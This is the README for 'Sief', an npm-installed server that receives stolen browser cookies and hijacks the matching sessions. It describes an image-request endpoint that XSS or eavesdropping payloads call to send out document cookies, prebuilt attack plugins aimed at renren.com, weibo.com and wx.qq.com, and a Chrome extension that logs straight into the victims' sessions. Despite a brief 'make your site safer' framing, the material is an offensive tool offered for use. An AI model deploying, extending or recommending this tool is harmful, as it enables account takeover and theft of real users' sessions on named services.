Sief

Sief is a server listening to cookie submissions to hijack sessions, supporting writing plugins for site specific attacks.

sief = thief + safe

This is a project to hijack sessions, and also a project to make your site safer, depending on the way you use it.

Philosophy

• Do NOT steal cookies, only accept cookies from everywhere(xss, network eavsdropping, dns hijacking…)
• Focus on the exploitation of session hijacking.

Features

• Request to an image to upload cookies stolen by xss/network eavsdropping/dns hijack/other.
• Log persistence.
• Prebuilt plugins to attack renren.com, weibo.com, wx.qq.com.
• Write your own plugins to do other attacks you desired. Plugins are loaded/reloaded/unloaded when added/changed/removed automatically, no need to restart.
• View real-time cookie submissions and login to those hijacked sessions directly in browser with Sief Chrome Extension.
• Ignore cookie submissions if the same one is received before, during a specified period of time, to protect your server.

Install

1. Install PhantomJS

2. Install sief

   npm install sief -g

Usage

Server

Usage: sief [options] <plugin|dir ...>

Options:

  -h, --help                   output usage information
  -V, --version                output the version number
  -i, --ignore-time [seconds]  specify seconds during which same requests will be ignored [300]
  -p, --port [port]            specify the port sief server listening to [3000]
  -l, --log-level [level]      set log level [INFO]

Submit cookies

GET /xxx.png?cookie=#cookies#&referer=#referer#&domain=#domani#

Parameters:

• cookies - Required. Encode cookies first, for example, encodeURIComponent(document.cookies)
• referer - If the attack is an xss exploit, referer will be retrieved from headers.referer directly, otherwise, specifiy it in query string.
• domain - Domain is calculated from referer, defaults to main domain, for example qq.com. IF you want to fire a attack to its subdomain(wx.qq.com), specify it in query string.